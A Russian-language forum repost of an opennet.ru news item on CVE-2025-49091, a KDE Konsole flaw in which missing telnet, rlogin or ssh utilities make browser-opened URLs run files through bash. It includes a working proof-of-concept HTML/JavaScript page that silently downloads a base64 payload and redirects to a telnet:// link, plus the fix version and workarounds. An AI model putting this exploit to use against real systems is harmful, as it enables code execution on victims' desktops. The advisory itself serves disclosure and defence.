[ON] Уязвимость в KDE Konsole, позволяющая выполнить код при открытии страницы в браузере

Обсуждение новостей, соответствующих тематике форума

Модератор: Модераторы разделов

Аватара пользователя
rssbot
Бот
Сообщения: 6001
ОС: gnu/linux

[ON] Уязвимость в KDE Konsole, позволяющая выполнить код при открытии страницы в браузере

Сообщение rssbot »

В развиваемом проектом KDE эмуляторе терминала Konsole выявлена уязвимость (CVE-2025-49091), позволяющая организовать выполнение кода в системе при открытии в браузере специально оформленной страницы.



Для Konsole по умолчанию в KDE регистрируется сервис KTelnetService (ktelnetservice6.desktop), подключающий обработчики открываемых в браузере URL-схем telnet://, rlogin:// и ssh://. При обработке данных схем в эмуляторе терминала запускаются утилиты telnet, rlogin и ssh, которым передаётся указанный в ссылке путь.


Уязвимость вызвана тем, что в случае, когда в системе не установлена утилита telnet, rlogin или ssh, Konsole при вызове соответствующего обработчика URL запускал командный интерпретатор bash. Например, если отсутствует telnet при открытии в браузере ссылки "telnet:///proc/self/cwd/Downloads/evil" в Konsole запускался "/bin/bash /proc/self/cwd/Downloads/evil". По аналогии можно совершить атаку на обработчики rlogin:// и ssh:// при отсутствии в системе утилит rlogin и ssh.



Эксплуатации уязвимостей сопутствует то, что в конфигурации по умолчанию современные версии Firefox и Chrome автоматически сохраняют инициированные для загрузки файлы, не выводя запрос пользователю, а лишь показывая уведомление о факте состоявшейся загрузки. В Firefox подобное поведение можно отключить, выставив настройку "Always ask you where to save files" на странице конфигуратора "General › Files and Applications". Как правило, файлы сохраняются в каталог ~/Downloads, на который, не зная имени текущего пользователя, можно сослаться через файловый путь "/proc/self/cwd/Downloads/".







Ниже показан пример JavaScript-кода, при выполнении которого в браузере в окружениях KDE с Konsole у пользователя будут выполнены команды "echo "Hello world"; touch /tmp/foobar" (в примере они закодированы в строке "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="). Предложенный код формирует ссылку с интегрированными данными, симулирует клик на эту ссылку и перебрасывает пользователя на URL "telnet://...". Для работы в Chrome следует изменить имя файла в ссылке на evil.txt, так как Chrome автоматически добавляет расширение txt.

Код:

‹html›
‹head›
‹script type="text/javascript"›

function downloadAndRedirect() {
const anchor = document.createElement('a');
anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==";
anchor.download = 'evil';
document.body.appendChild(anchor);
anchor.click();
document.body.removeChild(anchor);

setTimeout(() =› {
window.location.href = "telnet:///proc/self/cwd/Downloads/evil";
}, 1000);
}
‹/script›
‹/head›
‹body onload="downloadAndRedirect()"›
‹/body›
‹/html›

В Firefox и Chrome при попытке перехода по ссылке "telnet://" по умолчанию будет выведен запрос для подтверждения операции у пользователя. В случае согласия KTelnetService запустит команду:

Код:

/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Downloads/evil

Если в системе нет утилиты telnet, Konsole откатится на запуск bash вместо telnet, передав изначально указанный в командной строке аргумент.




Проблема устранена в выпуске Konsole 25.04.2, вошедшем в состав обновления KDE Gear 25.04.2. Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD. В качестве обходных путей для блокирования уязвимости можно установить утилиты telnet, rlogin и ssh или удалить файл /usr/share/applications/ktelnetservice6.desktop.



Источник: https://www.opennet.ru/opennews/art.shtml?num=63410
(opennet.ru, основная лента)
Последний раз редактировалось rssbot 17.06.2025 10:20, всего редактировалось 4 раза.
Причина: Updated upstream
Спасибо сказали: